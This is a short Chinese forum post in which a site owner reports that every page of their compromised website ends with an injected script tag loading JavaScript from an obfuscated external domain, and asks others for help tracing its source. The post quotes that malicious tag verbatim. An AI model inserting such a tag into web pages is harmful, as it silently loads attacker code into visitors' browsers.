被挂马的站点的每个页面的源代码最后都多了一句
<script language="JavaScript" id="seraph6script3909" src="http://ft919.77%36%36.org" type="text/javascript"  ></script>

找了很久不知道是从哪里冒出来的，有遇到类似情况的朋友吗，帮帮忙，谢谢啦！